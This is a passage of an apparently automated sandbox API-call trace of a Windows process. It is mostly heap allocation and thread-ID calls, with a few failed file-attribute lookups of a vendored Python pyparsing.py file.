dwFlags=0x0, lpMem=0x2c96a80 | out: hHeap=0x2ad0000) returned 1 [0075.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96a80 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9c0 | out: hHeap=0x2ad0000) returned 1 [0075.356] GetCurrentThreadId () returned 0x9b0 [0075.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ce788 [0075.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32d46c8 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ce788 | out: hHeap=0x2ad0000) returned 1 [0075.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96cc0 [0075.356] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96cc0, Size=0x10) returned 0x2c94f68 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.356] GetCurrentThreadId () returned 0x9b0 [0075.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f68 [0075.356] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c94f68, Size=0x10) returned 0x2c94d10 [0075.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94d10 | out: hHeap=0x2ad0000) returned 1 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32ceda8 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f68 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94d10 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96cc0 [0075.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba20 | out: hHeap=0x2ad0000) returned 1 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8790 [0075.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8790 | out: hHeap=0x2ad0000) returned 1 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab8e0 [0075.357] GetCurrentThreadId () returned 0x9b0 [0075.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8520 [0075.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8520 | out: hHeap=0x2ad0000) returned 1 [0075.358] GetCurrentThreadId () returned 0x9b0 [0075.358] GetCurrentThreadId () returned 0x9b0 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca85c8 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8718 [0075.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8718, Size=0x20) returned 0x3028378 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9f0 [0075.358] GetCurrentThreadId () returned 0x9b0 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab830 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba10 [0075.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab830 | out: hHeap=0x2ad0000) returned 1 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9f0 | out: hHeap=0x2ad0000) returned 1 [0075.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba10 | out: hHeap=0x2ad0000) returned 1 [0075.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab940 [0075.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028378, Size=0x40) returned 0x2a19250 [0075.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab940 | out: hHeap=0x2ad0000) returned 1 [0075.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca85c8 | out: hHeap=0x2ad0000) returned 1 [0075.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba20 | out: hHeap=0x2ad0000) returned 1 [0075.358] GetCurrentThreadId () returned 0x9b0 [0075.358] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19b98 [0075.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8580 [0075.359] GetCurrentThreadId () returned 0x9b0 [0075.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8640 | out: hHeap=0x2ad0000) returned 1 [0075.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3227070 | out: hHeap=0x2ad0000) returned 1 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.359] GetLastError () returned 0x3 [0075.360] GetLastError () returned 0x3 [0075.360] GetLastError () returned 0x3 [0075.360] GetLastError () returned 0x3 [0075.360] GetLastError () returned 0x3 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028490 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.360] GetCurrentThreadId () returned 0x9b0 [0075.360] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x90) returned 0x2ac01f0 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8580 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab940 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ceda8 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94d10 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96cc0 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab8e0 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac01f0 | out: hHeap=0x2ad0000) returned 1 [0075.360] GetCurrentThreadId () returned 0x9b0 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32cdcd0 | out: hHeap=0x2ad0000) returned 1 [0075.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8580 | out: hHeap=0x2ad0000) returned 1 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8718 | out: hHeap=0x2ad0000) returned 1 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab890 | out: hHeap=0x2ad0000) returned 1 [0075.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8550 | out: hHeap=0x2ad0000) returned 1 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8598 | out: hHeap=0x2ad0000) returned 1 [0075.361] GetCurrentThreadId () returned 0x9b0 [0075.362] GetCurrentThreadId () returned 0x9b0 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab880 | out: hHeap=0x2ad0000) returned 1 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab870 | out: hHeap=0x2ad0000) returned 1 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab980 | out: hHeap=0x2ad0000) returned 1 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9e0 | out: hHeap=0x2ad0000) returned 1 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8550 | out: hHeap=0x2ad0000) returned 1 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab940 | out: hHeap=0x2ad0000) returned 1 [0075.362] GetCurrentThreadId () returned 0x9b0 [0075.362] GetCurrentThreadId () returned 0x9b0 [0075.362] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c68, Size=0x64) returned 0x2a19a48 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8550 | out: hHeap=0x2ad0000) returned 1 [0075.362] GetCurrentThreadId () returned 0x9b0 [0075.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3226c50 | out: hHeap=0x2ad0000) returned 1 [0075.362] GetCurrentThreadId () returned 0x9b0 [0075.362] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216c20, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.363] GetLastError () returned 0x3 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216c20, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.363] GetLastError () returned 0x3 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.363] GetCurrentThreadId () returned 0x9b0 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab830 | out: hHeap=0x2ad0000) returned 1 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216ca0, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.364] GetLastError () returned 0x3 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] GetFileAttributesExA (in: lpFileName="site-packages\\pkg_resources\\_vendor\\pyparsing.py" (normalized: "c:\\users\\fd1hvy\\desktop\\site-packages\\pkg_resources\\_vendor\\pyparsing.py"), fInfoLevelId=0x0, lpFileInformation=0x9b991c | out: lpFileInformation=0x9b991c*(dwFileAttributes=0x5da61c58, ftCreationTime.dwLowDateTime=0x9b9938, ftCreationTime.dwHighDateTime=0x730131fd, ftLastAccessTime.dwLowDateTime=0x730e8ed8, ftLastAccessTime.dwHighDateTime=0x2, ftLastWriteTime.dwLowDateTime=0x3216ca0, ftLastWriteTime.dwHighDateTime=0x9b9950, nFileSizeHigh=0x9b99cc, nFileSizeLow=0x72ffe51c)) returned 0 [0075.364] GetLastError () returned 0x3 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] GetCurrentThreadId () returned 0x9b0 [0075.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8520 | out: hHeap=0x2ad0000) returned 1 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9d0 | out: hHeap=0x2ad0000) returned 1 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.365] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de5f0 | out: hHeap=0x2ad0000) returned 1 [0075.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8550, Size=0x20) returned 0x3028508 [0075.366] GetCurrentThreadId () returned 0x9b0 [0075.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028508, Size=0x40) returned 0x2a19178 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19968 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0a40 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x3183b38 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b38, Size=0xe8) returned 0x2ac9080 [0075.367] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9080, Size=0x120) returned 0x2c374c0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19298 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.368] GetCurrentThreadId () returned 0x9b0 [0075.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.369] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x70) returned 0x2c8e898 [0075.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8550 | out: hHeap=0x2ad0000) returned 1 [0075.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282b0 | out: hHeap=0x2ad0000) returned 1 [0075.369] GetCurrentThreadId () returned 0x9b0 [0075.369] GetCurrentThreadId () returned 0x9b0 [0075.369] GetCurrentThreadId () returned 0x9b0 [0075.369] GetCurrentThreadId () returned 0x9b0 [0075.370] GetCurrentThreadId () returned 0x9b0 [0075.370] GetCurrentThreadId () returned 0x9b0 [0075.370] GetCurrentThreadId () returned 0x9b0 [0075.370] GetCurrentThreadId () returned 0x9b0 [0075.370] GetCurrentThreadId () returned 0x9b0 [0075.370] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028350, Size=0x40) returned 0x2a18e18 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] GetCurrentThreadId () returned 0x9b0 [0075.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e5898 | out: hHeap=0x2ad0000) returned 1 [0075.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8580 | out: hHeap=0x2ad0000) returned 1 [0075.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab960 | out: hHeap=0x2ad0000) returned 1 [0075.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8550 | out: hHeap=0x2ad0000) returned 1 [0075.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.372] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.373] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.374] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] GetCurrentThreadId () returned 0x9b0 [0075.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8688 | out: hHeap=0x2ad0000) returned 1 [0075.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9e0 | out: hHeap=0x2ad0000) returned 1 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028530, Size=0x40) returned 0x2a18c20 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab960 | out: hHeap=0x2ad0000) returned 1 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.376] GetCurrentThreadId () returned 0x9b0 [0075.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9f0 | out: hHeap=0x2ad0000) returned 1 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] GetCurrentThreadId () returned 0x9b0 [0075.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32da140 | out: hHeap=0x2ad0000) returned 1 [0075.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bbfb0 | out: hHeap=0x2ad0000) returned 1 [0075.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e5400 | out: hHeap=0x2ad0000) returned 1 [0075.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32bc0f0 | out: hHeap=0x2ad0000) returned 1 [0075.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e4f68 | out: hHeap=0x2ad0000) returned 1 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.378] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 [0075.379] GetCurrentThreadId () returned 0x9b0 